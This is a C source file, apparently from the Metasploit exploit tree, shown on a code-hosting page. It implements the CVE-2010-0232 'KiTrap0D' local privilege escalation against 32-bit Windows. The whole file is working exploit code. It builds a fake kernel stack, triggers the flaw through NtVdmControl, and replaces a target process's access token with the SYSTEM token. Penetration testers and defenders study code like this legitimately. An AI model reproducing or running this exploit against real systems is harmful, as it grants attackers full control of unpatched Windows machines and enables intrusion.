Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/exploits/CVE-2010-0232/kitrap0d_payload/kitrap0d.c
Views: 11784
/*!1* @file kitrap0d.c2* @brief A port of HDM's/Pusscat's implementation of Tavis Ormandy's code (vdmallowed.c).3* @remark See http://archives.neohapsis.com/archives/fulldisclosure/2010-01/0346.html4*/56#ifndef WIN32_NO_STATUS7# define WIN32_NO_STATUS8#endif9#include <windows.h>10#include <stdio.h>11#include "../common/common.h"12#include "kitrap0d.h"13#include <winerror.h>14#include <winternl.h>15#include <stddef.h>16#ifdef WIN32_NO_STATUS17# undef WIN32_NO_STATUS18#endif19#include <ntstatus.h>2021#ifdef _WIN642223/*24* This is not implemented for the x64 build.25*/26VOID elevator_kitrap0d( DWORD dwProcessId, DWORD dwKernelBase, DWORD dwOffset )27{28return;29}3031#else3233/*! * @brief Global target process ID. */34static DWORD dwTargetProcessId = 0;35/*! * @brief Global pointer to the kernel stack. */36static DWORD * lpKernelStackPointer = NULL;37/*! * @brief Global reference to the kernel itself. */38static HMODULE hKernel = NULL;3940/*!41* @brief Find an exported kernel symbol by name.42* @param SymbolName The name of the symbol to find.43* @returns Pointer to the symbol, if found.44*/45PVOID elevator_kitrap0d_kernelgetproc(PSTR SymbolName)46{47PUCHAR ImageBase = NULL;48PULONG NameTable = NULL;49PULONG FunctionTable = NULL;50PUSHORT OrdinalTable = NULL;51PIMAGE_EXPORT_DIRECTORY ExportDirectory = NULL;52PIMAGE_DOS_HEADER DosHeader = NULL;53PIMAGE_NT_HEADERS PeHeader = NULL;54DWORD i = 0;5556ImageBase = (PUCHAR)hKernel;57DosHeader = (PIMAGE_DOS_HEADER)ImageBase;58PeHeader = (PIMAGE_NT_HEADERS)(ImageBase + DosHeader->e_lfanew);59ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(ImageBase + PeHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);6061// Find required tables from the ExportDirectory...62NameTable = (PULONG)(ImageBase + ExportDirectory->AddressOfNames);63FunctionTable = (PULONG)(ImageBase + ExportDirectory->AddressOfFunctions);64OrdinalTable = (PUSHORT)(ImageBase + ExportDirectory->AddressOfNameOrdinals);6566// Scan each entry for a matching name.67for (i = 0; i < ExportDirectory->NumberOfNames; i++)68{69PCHAR Symbol = ImageBase + NameTable[i];7071if (strcmp(Symbol, SymbolName) == 0)72{73// Symbol found, return the appropriate entry from FunctionTable.74return (PVOID)(ImageBase + FunctionTable[OrdinalTable[i]]);75}76}7778// Symbol not found, this is likely fatal :-(79return NULL;80}8182/*!83* @brief Replace a value if it falls between a given range.84*/85BOOL elevator_kitrap0d_checkandreplace(PDWORD checkMe, DWORD rangeStart, DWORD rangeEnd, DWORD value)86{87if (*checkMe >= rangeStart && *checkMe <= rangeEnd)88{89*checkMe = value;90return TRUE;91}9293return FALSE;94}9596/*!97* @brief Search the specified data structure for a member with CurrentValue.98*/99BOOL elevator_kitrap0d_findandreplace( PDWORD Structure, DWORD CurrentValue, DWORD NewValue, DWORD MaxSize, BOOL ObjectRefs)100{101DWORD i = 0;102DWORD Mask = 0;103104// Microsoft QWORD aligns object pointers, then uses the lower three105// bits for quick reference counting (nice trick).106Mask = ObjectRefs ? ~7 : ~0;107108// Mask out the reference count.109CurrentValue &= Mask;110111// Scan the structure for any occurrence of CurrentValue.112for( i = 0 ; i < MaxSize ; i++ )113{114if( (Structure[i] & Mask) == CurrentValue )115{116// And finally, replace it with NewValue.117Structure[i] = NewValue;118return TRUE;119}120}121122// Member not found.123return FALSE;124}125126/*!127* @brief This routine is where we land after successfully triggering the vulnerability.128*/129#pragma warning(disable: 4731)130VOID elevator_kitrap0d_firststage(VOID)131{132FARPROC DbgPrint = NULL;133FARPROC PsGetCurrentThread = NULL;134FARPROC PsGetCurrentThreadStackBase = NULL;135FARPROC PsGetCurrentThreadStackLimit = NULL;136FARPROC PsLookupProcessByProcessId = NULL;137FARPROC PsReferencePrimaryToken = NULL;138FARPROC ZwTerminateProcess = NULL;139PVOID CurrentThread = NULL;140PVOID TargetProcess = NULL;141PVOID * PsInitialSystemProcess = NULL;142HANDLE pret = NULL;143DWORD StackBase = 0;144DWORD StackLimit = 0;145DWORD NewStack = 0;146DWORD i = 0;147DWORD dwEThreadOffsets[] = {1480x6, // WinXP SP3, VistaSP21490xA // Windows 7, VistaSP1150};151152// Keep interrupts off until we've repaired the KTHREAD.153__asm cli154155// Resolve some routines we need from the kernel export directory156DbgPrint = elevator_kitrap0d_kernelgetproc("DbgPrint");157PsGetCurrentThread = elevator_kitrap0d_kernelgetproc("PsGetCurrentThread");158PsGetCurrentThreadStackBase = elevator_kitrap0d_kernelgetproc("PsGetCurrentThreadStackBase");159PsGetCurrentThreadStackLimit = elevator_kitrap0d_kernelgetproc("PsGetCurrentThreadStackLimit");160PsInitialSystemProcess = elevator_kitrap0d_kernelgetproc("PsInitialSystemProcess");161PsLookupProcessByProcessId = elevator_kitrap0d_kernelgetproc("PsLookupProcessByProcessId");162PsReferencePrimaryToken = elevator_kitrap0d_kernelgetproc("PsReferencePrimaryToken");163ZwTerminateProcess = elevator_kitrap0d_kernelgetproc("ZwTerminateProcess");164165CurrentThread = (PVOID)PsGetCurrentThread();166StackLimit = (DWORD)PsGetCurrentThreadStackLimit();167StackBase = (DWORD)PsGetCurrentThreadStackBase();168169NewStack = StackBase - ((StackBase - StackLimit) / 2);170171// First we need to repair the CurrentThread, find all references to the fake kernel172// stack and repair them. Note that by "repair" we mean randomly point them173// somewhere inside the real stack.174175// Walk only the offsets that could possibly be bad based on testing, and see if they need176// to be swapped out. O(n^2) -> O(c) wins the race!177for (i = 0; i < sizeof(dwEThreadOffsets) / sizeof (DWORD); i++) {178elevator_kitrap0d_checkandreplace((((PDWORD)CurrentThread) + dwEThreadOffsets[i]), (DWORD)&lpKernelStackPointer[0], (DWORD)&lpKernelStackPointer[KSTACKSIZE - 1], (DWORD)NewStack);179}180181// Find the EPROCESS structure for the process we want to escalate182if (PsLookupProcessByProcessId(dwTargetProcessId, &TargetProcess) == STATUS_SUCCESS)183{184PACCESS_TOKEN SystemToken = NULL;185PACCESS_TOKEN TargetToken = NULL;186187// What's the maximum size the EPROCESS structure is ever likely to be?188CONST DWORD MaxExpectedEprocessSize = 0x200;189190// DbgPrint("PsLookupProcessByProcessId(%u) => %p\n", TargetPid, TargetProcess);191//DbgPrint("PsInitialSystemProcess @%p\n", *PsInitialSystemProcess);192193// Find the Token object for my target process, and the SYSTEM process.194TargetToken = (PACCESS_TOKEN)PsReferencePrimaryToken(TargetProcess);195196SystemToken = (PACCESS_TOKEN)PsReferencePrimaryToken(*PsInitialSystemProcess);197198//DbgPrint("PsReferencePrimaryToken(%p) => %p\n", TargetProcess, TargetToken);199//DbgPrint("PsReferencePrimaryToken(%p) => %p\n", *PsInitialSystemProcess, SystemToken);200201// Find the token in the target process, and replace with the system token.202elevator_kitrap0d_findandreplace((PDWORD)TargetProcess, (DWORD)TargetToken, (DWORD)SystemToken, MaxExpectedEprocessSize, TRUE);203204// Success205pret = (HANDLE)'w00t';206}207else208{209// Maybe the user closed the window?210// Report this failure211pret = (HANDLE)'LPID';212}213214__asm215{216mov eax, -1 // ZwCurrentProcess macro returns -1217mov ebx, NewStack218mov ecx, pret219mov edi, ZwTerminateProcess220mov esp, ebx // Swap the stack back to kernel-land221mov ebp, ebx // Swap the frame pointer back to kernel-land222sub esp, 256223push ecx // Push the return code224push eax // Push the process handle225sti // Restore interrupts finally226call edi // Call ZwTerminateProcess227__emit 0xCC; // Hope we never end up here228};229230}231#pragma warning(default: 4731)232233/*!234* @brief Setup a minimal execution environment to satisfy NtVdmControl().235*/236BOOL elevator_kitrap0d_initvdmsubsystem(VOID)237{238DWORD dwResult = ERROR_SUCCESS;239FARPROC pNtAllocateVirtualMemory = NULL;240FARPROC pNtFreeVirtualMemory = NULL;241FARPROC pNtVdmControl = NULL;242PBYTE BaseAddress = (PVOID)0x00000001;243HMODULE hNtdll = NULL;244ULONG RegionSize = 0;245static DWORD TrapHandler[128] = { 0 };246static DWORD IcaUserData[128] = { 0 };247248static struct {249PVOID TrapHandler;250PVOID IcaUserData;251} InitData;252253do254{255hNtdll = GetModuleHandle("ntdll");256if (!hNtdll) {257BREAK_WITH_ERROR("[KITRAP0D] elevator_kitrap0d_initvdmsubsystem. GetModuleHandle ntdll failed", ERROR_INVALID_PARAMETER);258}259260pNtAllocateVirtualMemory = GetProcAddress(hNtdll, "NtAllocateVirtualMemory");261pNtFreeVirtualMemory = GetProcAddress(hNtdll, "NtFreeVirtualMemory");262pNtVdmControl = GetProcAddress(hNtdll, "NtVdmControl");263264if (!pNtAllocateVirtualMemory || !pNtFreeVirtualMemory || !pNtVdmControl) {265BREAK_WITH_ERROR("[KITRAP0D] elevator_kitrap0d_initvdmsubsystem. invalid params", ERROR_INVALID_PARAMETER);266}267268InitData.TrapHandler = TrapHandler;269InitData.IcaUserData = IcaUserData;270271// Remove anything currently mapped at NULL272pNtFreeVirtualMemory(GetCurrentProcess(), &BaseAddress, &RegionSize, MEM_RELEASE);273274BaseAddress = (PVOID)0x00000001;275RegionSize = (ULONG)0x00100000;276277// Allocate the 1MB virtual 8086 address space.278if (pNtAllocateVirtualMemory(GetCurrentProcess(), &BaseAddress, 0, &RegionSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE) != STATUS_SUCCESS) {279BREAK_WITH_ERROR("[KITRAP0D] elevator_kitrap0d_initvdmsubsystem. NtAllocateVirtualMemory failed", 'NTAV');280}281282// Finalise the initialisation.283if (pNtVdmControl(VdmInitialize, &InitData) != STATUS_SUCCESS) {284BREAK_WITH_ERROR("[KITRAP0D] elevator_kitrap0d_initvdmsubsystem. NtVdmControl failed", 'VDMC');285}286287return TRUE;288289} while (0);290291ExitThread(dwResult);292293return FALSE;294}295296/*!297* @brief CVE-2010-0232 implementation.298*/299VOID elevator_kitrap0d(DWORD dwProcessId, DWORD dwKernelBase, DWORD dwOffset)300{301DWORD dwResult = ERROR_SUCCESS;302FARPROC pNtVdmControl = NULL;303HMODULE hNtdll = NULL;304DWORD dwKernelStack[KSTACKSIZE] = { 0 };305VDMTIB VdmTib = { 0 };306DWORD dwMinimumExpectedVdmTibSize = 0x200;307DWORD dwMaximumExpectedVdmTibSize = 0x800;308309do310{311dprintf("[KITRAP0D] elevator_kitrap0d. dwProcessId=%d, dwKernelBase=0x%08X, dwOffset=0x%08X", dwProcessId, dwKernelBase, dwOffset);312313memset(&VdmTib, 0, sizeof(VDMTIB));314memset(&dwKernelStack, 0, KSTACKSIZE * sizeof(DWORD));315316// XXX: Windows 2000 forces the thread to exit with 0x80 if Padding3 is filled with junk.317// With a buffer full of NULLs, the exploit never finds the right size.318// This will require a more work to resolve, for just keep the padding zero'd319320hNtdll = GetModuleHandle("ntdll");321if (!hNtdll) {322BREAK_WITH_ERROR("[KITRAP0D] elevator_kitrap0d. GetModuleHandle ntdll failed", ERROR_INVALID_PARAMETER);323}324325pNtVdmControl = GetProcAddress(hNtdll, "NtVdmControl");326if (!pNtVdmControl) {327BREAK_ON_ERROR("[KITRAP0D] elevator_kitrap0d. GetProcAddress NtVdmControl failed");328}329330dwTargetProcessId = dwProcessId;331332// Setup the fake kernel stack, and install a minimal VDM_TIB...333lpKernelStackPointer = (DWORD *)&dwKernelStack;334dwKernelStack[0] = (DWORD)&dwKernelStack[8]; // ESP335dwKernelStack[1] = (DWORD)NtCurrentTeb(); // TEB336dwKernelStack[2] = (DWORD)NtCurrentTeb(); // TEB337dwKernelStack[7] = (DWORD)elevator_kitrap0d_firststage; // RETURN ADDRESS338hKernel = (HMODULE)dwKernelBase;339VdmTib.Size = dwMinimumExpectedVdmTibSize;340*NtCurrentTeb()->Reserved4 = &VdmTib;341342// Initialize the VDM Subsystem...343elevator_kitrap0d_initvdmsubsystem();344345VdmTib.Size = dwMinimumExpectedVdmTibSize;346VdmTib.VdmContext.SegCs = 0x0B;347VdmTib.VdmContext.Esi = (DWORD)&dwKernelStack;348VdmTib.VdmContext.Eip = dwKernelBase + dwOffset;349VdmTib.VdmContext.EFlags = EFLAGS_TF_MASK;350*NtCurrentTeb()->Reserved4 = &VdmTib;351352// Allow thread initialization to complete. Without is, there is a chance353// of a race in KiThreadInitialize's call to SwapContext354Sleep(1000);355356// Trigger the vulnerable code via NtVdmControl()...357while (VdmTib.Size++ < dwMaximumExpectedVdmTibSize) {358pNtVdmControl(VdmStartExecution, NULL);359}360361} while (0);362363// Unable to find correct VdmTib size.364ExitThread('VTIB');365}366367#endif368369370